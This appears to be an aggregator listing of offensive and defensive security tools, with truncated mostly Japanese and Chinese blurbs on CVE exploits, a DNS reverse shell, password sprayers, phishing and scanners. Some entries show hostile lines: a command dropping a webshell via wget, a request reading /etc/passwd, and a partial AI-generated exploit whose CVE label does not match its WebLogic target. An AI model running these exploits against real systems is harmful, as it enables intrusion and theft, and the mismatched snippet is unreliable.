cloudpanel-2.4.2-CVE-2024-44765-recovery

CVE-2024-44765 是一个存在于 MGT-COMMERCE GmbH CloudPanel 2.0.0 至 2.4.2 版本中的授权不当（访问控制配置错误）漏洞 1. 在每个文件夹中按照说明进行操作（此步骤应在本地完成） 2. 重置密码和访问权限 root@kitploit: 对于 root $ sudo passwd root 而对于用户 $ getent passwd | grep -vE "nologin|false" | cut -d: -f1 $ sudo passwd 3. 移除未授权访问 root@kitploit: $ getent passwd | grep...

dirtyclone-exploit

DirtyClone エクスプロイトフレームワーク CVE-2026-46331 — Linux カーネルローカル権限昇格 TC pedit + IPsec TEE ページキャッシュ破損 · 影響を受けるカーネル: ≤ 6.12.9 root@kitploit: ╔═══════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | | / | | ║ ║ | | | | | '| | | | | | | |/ | ' \ / \ ║ ║ | || | | | | || || | || | | | | |...

ipchanger

IP CHANGER 🌐🔄 指定した間隔で公開IPアドレスを自動的に変更し、クリーンなターミナルテーブルで表示する、Torベースの強力なIPローテーションCLIツール です。 @CappricioSec が ❤️ を込めて制作 ⚠️ 教育およびプライバシーテスト専用です。 このツールを違法行為に悪用しないでください 。 📌 特徴 🔄 自動IPローテーション – Torネットワークを使用して公開IPを変更します 🧅 Tor統合 – 匿名ルーティングにTor SOCKSプロキシを使用します 📊 クリーンなテーブル出力 – 整形されたCLIテーブルにIPとタイムスタンプを表示します 🖥...

CVE-2018-1111

CVE-2018-1111 CVE-2018-1111 DynoRoot...

emba

EMBA 組み込みデバイスのファームウェア向けセキュリティアナライザー EMBA は、ペネトレーションテスター、製品セキュリティチーム、開発者、そして責任あるプロダクトマネージャー向けに設計された、中心的なファームウェア解析および SBOM ツールです。 ファームウェア抽出 から始まり、 静的解析 およびエミュレーションによる 動的解析 を行い、SBOM を構築し、最終的に Web ベースの脆弱性レポートを生成するという、完全なセキュリティ解析プロセスをサポートします。 EMBA...

bmc_bladelogic

Linux および Windows 向け BMC Bladelogic RSCD リモートエクスプロイト パスワード変更、ユーザー列挙、リモートコード実行 BMC BladeLogic RSCD エージェントの脆弱性を悪用するエクスプロイト CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 exploit-db で公開 BMCrexec.py https://www.exploit-db.com/exploits/43902/ BMCwinUsers.py...

VMware_ESXI_OpenSLP_PoCs

VMwareESXIOpenSLPPoCs CVE-2020-3992 & CVE-2019-5544 VMware Workstation にインストールされた ESXI でテスト済み。 実機の場合、srvtype フィールド service:VMwareInfrastructure を変更する必要があるかもしれません。...

HingeSDK

HingeSDK Hinge APIの非公式Python SDK。プログラムでHingeと連携し、おすすめの取得、メッセージ送信、メディアのダウンロード、インタラクションの自動化を行います。 認証と環境設定 SDKを使用するには、有効な認証情報が必要です。これらの情報は.envファイルに保存するか、クライアントに直接渡すことができます。 必要な変数 BEARERTOKEN: JWT認証トークン（例：L2euNWN...）。 SESSIONID: 現在のセッションUUID。 USERID: あなたのユーザー/プレイヤーID。 認証情報の取得方法 方法1：ルート化された端末 /...

NetSet

NetSet 操作安全实用程序和自动化工具。（版本 1.1.0） NetSet 旨在自动化一系列操作，帮助用户保护其网络流量安全。它还提供了一种简便的方法来获取代理并通过 Tor 运行实用程序。 所有由 NetSet 安装和使用的实用程序也会自动配置。当然，该工具本身并非操作安全的终极解决方案，而是一种方便地为您设置基础功能的途径。 NetSet 支持（除其他功能外）： 按需启动终端多路复用器，且其会话通过 Tor 路由。 通过自动安装和配置 DNSCrypt-proxy 实现安全的 DNS 流量。 Tor 墙功能，强制所有流量通过 Tor 网络。 轻松访问在线 OPSEC...

delete-self-poc

🗑️ delete-self-poc delete-self-poc は、ロックされた実行可能ファイルや現在実行中のファイルをディスクから削除する方法のデモンストレーションです。この概念は当初 Jonas Lykkegaard によって発見され、私はそのための概念実証 POC を作成しました。さらに、現在の呼び出し元プロセスがそれらにアクセスして削除するために必要な権限を持っている場合、ディスク上のロックされたファイルを削除するためにも使用できます。 では、この POC はどのように機能するのでしょうか？ 1. 現在実行中のプロセスへの HANDLE を DELETE...

CVE-2022-24816

CVE-2022-24816 スクリプトの使用方法 前提条件 1. リポジトリをクローンする : root@kitploit: git clone https://github.com/c1ph3rbyt3/CVE-2022-24816.git cd CVE-2022-24816 2. 依存関係をインストールする : Python 3 がインストールされていることを確認してください。次に、以下のコマンドを実行して必要な依存関係をインストールします: root@kitploit: pip install -r requirements.txt requirements.txt...

CVE-2025-0108-SCAN

CVE-2025-0108 PAN-OS: 管理Webインターフェースにおける認証バイパス Palo Alto Networks PAN-OSソフトウェアにおける認証バイパスにより、管理Webインターフェースへのネットワークアクセスを持つ認証されていない攻撃者が、PAN-OS管理Webインターフェースで通常必要とされる認証をバイパスし、特定のPHPスクリプトを呼び出すことが可能になります。これらのPHPスクリプトを呼び出してもリモートコード実行は可能になりませんが、PAN-OSの完全性と機密性に悪影響を及ぼす可能性があります。...

QuasarNix

QuasarNix: 对抗鲁棒的离地生存反向Shell检测 Dmitrijs Trizna · Luca Demetrio · Battista Biggio · Fabio Roli 概述 Linux living-off-the-land LOTL 反向shell滥用合法二进制文件（bash、python、nc等）建立隐蔽的出站连接，使得基于签名的检测在面对新型变体和逃避尝试时不可靠。QuasarNix 解决了该领域的两个空白： 1. 没有公开的基于ML的SIEM检测器 ——我们发布了首个生产就绪、开放许可的LOTL反向shell检测ML模型。 2. 对抗脆弱性...

SELinux-Permissive-Only-CVE-2025-21479

SELinux-Permissive-Only-version-of-Cheese-aka-CVE-2025-21479 これは、現時点では SELinux permissive のみに対応した Cheese エクスプロイトのバージョンです。別名 CVE-2025-21479 としても知られ、Samsung Snapdragon デバイスを含む多くのデバイスの adreno kgsl に影響を与えました。 以下のリポジトリから一部のコードを再利用しています。PoC を最初に立ち上げてくれた zhuowei 氏と、維持管理が行き届いた活発なリポジトリを公開してくれている...

ghidra-nanomips

ghidra-nanomips Ghidra 用 nanoMIPS モジュール。 セットアップ ビルド root@kitploit: $ ./gradlew -PGHIDRAINSTALLDIR=/opt/ghidra11.0.3 インストール Gradle ビルドタスクは、dist ディレクトリに ZIP ファイルを作成します。 メインの Ghidra プロジェクトウィンドウで File Install Extensions を使用してインストールします。 参考資料 "MIPS アーキテクチャベース: nanoMIPS32 命令セット テクニカルリファレンスマニュアル - リビジョン...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 RCE および外部リソースのロード脆弱性、発見者 @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 エクスプロイト カレントディレクトリにウェブシェルをドロップするためのサンプルです。 root@kitploit: python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output...

PurpleKeep

説明 攻撃手法の種類が急速に増加し、EDR（エンドポイント検出および対応）が提供する検出ルールの数やカスタム作成されたルールも同時に増加しているため、検出ルールの継続的な機能テストの必要性が明らかになっています。しかし、これらの攻撃を手動で再実行し、検出ルールとクロスリファレンスすることは労力のかかる作業であり、自動化する価値があります。 この課題に対処するため、私はオープンソースイニシアチブ「PurpleKeep」を開発しました。これは、検出ルールの自動テストを容易にするために設計されています。Atomic Red Teamプロジェクトの機能を活用し、MITRE...

DNS-Shell

DNS-shell DNS-ShellはDNSチャネルを介したインタラクティブシェルです。サーバーはPythonベースで、Pythonがインストールされている任意のOSで動作し、ペイロードはエンコードされたPowerShellコマンドです。 DNS-Shellについて ペイロードはサーバースクリプトが呼び出されたときに生成され、単にnslookupを使用してクエリを実行し、サーバーに新しいコマンドを問い合わせます。サーバーはポート53で受信通信を待ち受け、ターゲットマシンでペイロードが実行されると、サーバーはインタラクティブシェルを起動します。...

reaver-wps-fork-t6x

概要 Reaver は、Wifi Protected Setup WPS レジストラのPIN に対するブルートフォース攻撃 を実装し、WPA/WPA2パスフレーズ を回復します。これは、Stefan Viehböck によるBrute forcing Wi-Fi Protected Setup When poor design meets poor implementation.で説明されています。 Reaver は、WPA/WPA2パスフレーズ を回復 するために、Wi-Fi Protected Setup WPS...

reaver-wps-fork-t6x

Overview Reaver implements a brute force attack against Wifi Protected Setup WPS registrar PINs in order to recover WPA/WPA2 passphrases , as described in Brute forcing Wi-Fi Protected Setup When poor design meets poor implementation. by Stefan Viehböck. Reaver has been designed to be a robust an...

CVE-2025-25062

CVE-2025-25062 説明 使用方法 例 タイムライン 説明 保存型クロスサイトスクリプティング（XSS）の脆弱性が、Backdrop CMS 1.29.2 の投稿編集ページに存在します。このスクリプトは、この脆弱性をCSRFペイロードと連鎖させ、「Editor」ロールから「Administrator」への権限昇格を実現します。 関連リンク： https://vulners.com/cve/CVE-2025-25062 https://backdropcms.org/security/backdrop-sa-core-2025-001 使用方法 root@kitploit:...

CVE-2008-1613

CVE-2008-1613...

CVE-2015-0568

エクスプロイト CVE-2015-0568 のエクスプロイト リンク codeaurora c0reteam...

CVE-2019-10475

CVE-2019-10475 Jenkins CVE-2019-10475 / SECURITY-1490 的快速 PoC，报告于 2019-10-23。问题存在于 build-metrics 插件中，该插件生成一些基本的构建指标。它通常与 Jenkins sidebar links 插件一起使用。 这是一个简单且通用的反射型 XSS 漏洞。问题在于插件没有正确转义 label 查询参数。 设置 PoC 在 Debian 10 Buster、Jenkins 2.203（最新版 2019-11-05）和 build-metrics 1.3 上完成。 root@kitploit: insta...

LCSAJdump

LCSAJdump 自動ガジェット発見のためのユニバーサルグラフベースフレームワーク LCSAJdump は、Return-Oriented Programming ROP および Jump-Oriented Programming JOP のガジェットを発見するために設計された静的解析フレームワークです。従来のスキャナーとは異なり、LCSAJdump はであり、グラフベースのアプローチを採用して、一般的な線形ツールでは見えない脆弱性を明らかにします。...

SharpStrike

SharpStrike SharpStrikeは、Cで書かれたポストエクスプロイテーションツールで、CIMまたはWMIを使用してリモートシステムをクエリします。提供された資格情報または現在のユーザーのセッションを使用できます。 注意: 一部のコマンドはPowerShellとWMIを組み合わせて使用し、--show-commands コマンドではで示されます。 はじめに SharpStrikeは、@MattGrandyのCIMplantと@christruncerのWMImplantをCで書き直し、拡張したものです。...

TREVORspray

TREVORspray 2.0 TREVORsprayは、スレッド、SSHプロキシ、略奪モジュールなどを備えたモジュール式パスワードスプレイヤーです！ 作者: @thetechr0mancer インストール: root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray 付属のブログ記事で楽しい解説とクールなデモをご覧ください！ 機能...

sslyze

SSLyze SSLyzeは、高速で強力なSSL/TLSスキャンツールおよびPythonライブラリです。 SSLyzeは、サーバーに接続してSSL/TLS構成を分析し、強力な暗号化設定（証明書、暗号スイート、楕円曲線など）が使用されていること、および既知のTLS攻撃（Heartbleed、ROBOT、OpenSSL CCSインジェクションなど）に対して脆弱でないことを確認できます。 主な機能 速度と信頼性に焦点：SSLyzeは実戦でテストされたツールであり、毎日数十万 のサーバーを確実にスキャンするために使用されています。...

sslyze

SSLyze SSLyze is a fast and powerful SSL/TLS scanning tool and Python library. SSLyze can analyze the SSL/TLS configuration of a server by connecting to it, in order to ensure that it uses strong encryption settings certificate, cipher suites, elliptic curves, etc., and that it is not vulnerable ...

rengine

reNgine: The Ultimate Web Reconnaissance & Vulnerability Scanner 🚀 reNgine 2.2.0 is released! reNgine 2.2.0 comes with bounty hub where you can sync and import your hackerone programs, in app notifications, chaos as subdomain enumeration tool, ability to upload multiple nuclei and gf patterns,...

rengine

reNgine: 究極のWeb偵察＆脆弱性スキャナー 🚀 reNgine 2.2.0 がリリースされました！ reNgine 2.2.0 には、HackerOneプログラムの同期とインポートが可能なバウンティハブ、アプリ内通知、サブドメイン列挙ツールとしてのChaos、複数のNucleiおよびGFパターンのアップロード機能、スコープ外サブドメイン設定における正規表現のサポート、追加のPDFレポートテンプレートなどが搭載されています。 reNgine 2.2.0の新機能をチェック！ reNgine とは？...

CVE-2025-28346

脆弱性タイプ SQLインジェクション 説明 Ticket-Booking-App - 1.0において、攻撃者が基盤となるデータベース上で任意のSQLクエリを実行できるようにする、時間ベースのブラインドSQLインジェクションの脆弱性が発見されました。脆弱なパラメータはユーザー入力を適切にサニタイズしないため、時間遅延に依存して脆弱性の存在を推測する悪意のあるSQLペイロードの注入が可能になります。...

WS_FTP-CVE-2023-40044

WSFTP-CVE-2023-40044 WSFTP CVE-2023-40044 の影響を追跡するために私が管理しているすべてを含むリポジトリ ヘッダーメソッドを利用している可能性のある影響を受ける組織やドメインを含みます。 また、MOVEit と WSFTP に関する新しい記事を追跡するニュースティッカーも作成しました。https://firehose.kenbuckler.com/moveit で利用可能です。...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker 服务端模板注入 Vmware CVE-2022-22954 的 POC 使用这一行 GET 请求！！这将执行 cat /etc/passwd...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228、log4j2 Burpプラグイン Java版。dnslogはdnslog.cn以外のドメインを選択しています。 効果は以下の通りです： ラボ環境の （ラボ環境は遅いですが、インターネット資産では問題ありません。原因はおそらく、ラボ環境が他のリクエストヘッダーの処理が苦手、またはリクエストヘッダーが大きすぎて反応が遅いためです。少し待てば大丈夫です） SRCのサイトを2つ試しました。...

oss-oopssec-store

OSS - OopsSec Store 実際に出荷するアプリのためのセキュリティトレーニング。 Web、API、認証、ビジネスロジック、暗号技術、サプライチェーン、AIエージェント、MCP にわたる36のチャレンジ。 Next.js、React、TypeScript、Prisma で構築された、意図的に脆弱なEコマースアプリを攻略せよ。 バグを見つけ、悪用し、なぜそれが機能するのかを理解する。 Docker Hub · npm · ロードマップ · ウォークスルー · コントリビューション · 初心者向けIssue bash...

PhEmail

PhEmail PhEmail は、ソーシャルエンジニアリングテストの一環としてフィッシングメールの送信プロセスを自動化する、Python 製のオープンソースフィッシングメールツールです。PhEmail の主な目的は、大量のフィッシングメールを送信し、Web ブラウザやメールクライアントを悪用しようとせず、可能な限り多くの情報を収集しながら、誰がそれらをクリックしたかを証明することです。PhEmail には、情報収集フェーズで有用な、LinkedIN を介してメールアドレスを収集するエンジンが付属しています。また、このツールは Gmail...

agent-governance-toolkit

この文書は README.md の日本語訳です。最新の情報は英語版をご確認ください。 🌍 English | 日本語 | 简体中文 Agent Governance Toolkit へようこそ！ !IMPORTANT パブリックプレビュー — このリポジトリから公開されるすべてのパッケージは Microsoft 署名済みのパブリックプレビューリリース です。プロダクション品質ですが、 GA（一般提供）前に破壊的変更が行われる可能性があります。フィードバックは GitHub issue からお寄せください。 このツールキットとは： ランタイムガバナンスインフラストラクチャ —...

zaproxy

...

zaproxy

CheckmarxによるZed Attack Proxy ZAPは、世界で最も広く使われているWebアプリスキャナーです。無料かつオープンソース。誰でも貢献できるコミュニティベースのGitHubトップ1000プロジェクトです。 アプリケーションの開発・テスト中に、自動的にWebアプリケーションのセキュリティ脆弱性を見つけるのに役立ちます。また、経験豊富なペネトレーションテスターが手動セキュリティテストに使用する優れたツールでもあります。 !https://assets.kitploit.co...

CVE-2024-55040-Sensaphone-XSS

SENSAPHONE 漏洞披露 摘要 2024年9月中旬，我在 Sensaphone Web600 监控系统中识别出多个中低严重性的安全问题，包括系统设置、个人资料和区域选项中的存储型跨站脚本（XSS）漏洞。远程认证攻击者可利用该漏洞在 Web600 仪表板的多个元素中注入任意 JavaScript 载荷。这些问题的严重性有限；然而，它可能允许低权限用户窃取管理员账户的会话令牌，从而有效提升其系统访问权限并进行未授权修改。该漏洞已在 Sensaphone Web600 固件版本 v.1.6.5.H 上测试。10月，Sensaphone...

CVE-2023-6275

CVE-2023-6275 - TOTVS Fluig プラットフォーム 1.6.X ～ 1.8.1 における反射型クロスサイトスクリプティング TOTVS Fluig プラットフォームのバージョン 1.6.1.X から 1.8.1 において、'mobileredir' モジュール内の 'redirectUrl' パラメータおよび 'user' パラメータにクロスサイトスクリプティングの脆弱性が存在します。 Fluig は、ブラジル最大のテクノロジー企業 TOTVS によって開発され、クライアントのサーバー上でホストされる、ERP...

CVE-2019-0708-Tool

CVE-2019-0708-ツール 50 Stars後にツールを共有します... 連絡先...

mIRC-CVE-2019-6453

CVE-2019-6453: mIRC 7.55 における引数インジェクションによるRCE（カスタムURIプロトコルハンドラ経由） 解説記事へのリンク mIRCのirc:// URIプロトコルハンドラを通じて、リモートコード実行の脆弱性 を発見しました。mIRCは引数リストの終了を示す--などの記号を使用しないため、攻撃者は irc://リンクを通じてmIRCに引数を渡し、攻撃者が制御するSambaファイルサーバーからカスタム mirc.iniを読み込ませることで任意のコードを実行できます。ircs://も同様に機能することに注意してください。 PoC このPoCには、mirc.ini...

CVE-2022-45047

CVE-2022-45047 POC,EXP,chatGPT为我生成 代码 root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding": "gzip...

Pinkerton

🕵️ Pinkerton 1850年以来、JavaScriptファイルを調査中 JavaScriptファイルをクロールし、APIキー、認証トークン、ハードコードされたパスワードなどの秘密情報を検索するPythonプロジェクトです。 ⚡ はじめに Pinkertonのインストールと使い方の簡単なガイドです。 1. リポジトリをクローン: git clone https://github.com/000pp/pinkerton.git 2. ライブラリをインストール: pip3 install -r requirements.txt --break-system-packages 3...

GitFive

🐍 Python 3.13 に対応！ 説明 GitFive は GitHub プロフィールを調査するための OSINT ツールです。 主な機能: ユーザー名/名前の履歴 ユーザー名/名前のバリエーション メールアドレスから GitHub アカウントの特定 メールアドレスのリストから GitHub アカウントを検索 対象が使用した ID のリスト化 対象のすべてのリポジトリをクローンして分析 GitHub の対象アカウントに関連付けられたメールを強調表示 ローカル ID（UPN 例：[email protected]）を検出 潜在的なセカンダリ GitHub アカウントを検出...

nightcrawler

Nightcrawler スマートフォン上で完全に動作する自律型ペネトレーションテストエージェント。電話をネットワークに置いて立ち去るだけで、ホストの発見、サービスのマッピング、脆弱性の発見、ペンテストレポートの生成までを、クラウド接続なしで実行します。 root@kitploit: ░█▄░█ █ █▀▀ █░█ ▀█▀ █▀▀ █▀█ ▄▀█ █░█░█ █░░ █▀▀ █▀█ ░█░▀█ █ █▄█ █▀█ ░█░ █▄▄ █▀▄ █▀█ ▀▄▀▄▀ █▄▄ ██▄ █▀▄ v0.1.0 AUTONOMOUS MOBILE PENTEST AGENT OnePlus 8 ·...

emba

EMBA The security analyzer for firmware of embedded devices EMBA is designed as the central firmware analysis and SBOM tool for penetration testers, product security teams, developers and responsible product managers. It supports the complete security analysis process starting with firmware...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 のエクスプロイター 参照 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ ペイロード : site.com/wp-admin/admin-ajax.php バグのパス : site.com/wp-content/uploads/typehub/custom/ 感謝 : Ibnudz, Dark clown security 挨拶 : Garuda Tersakti 72. Buitenzorg...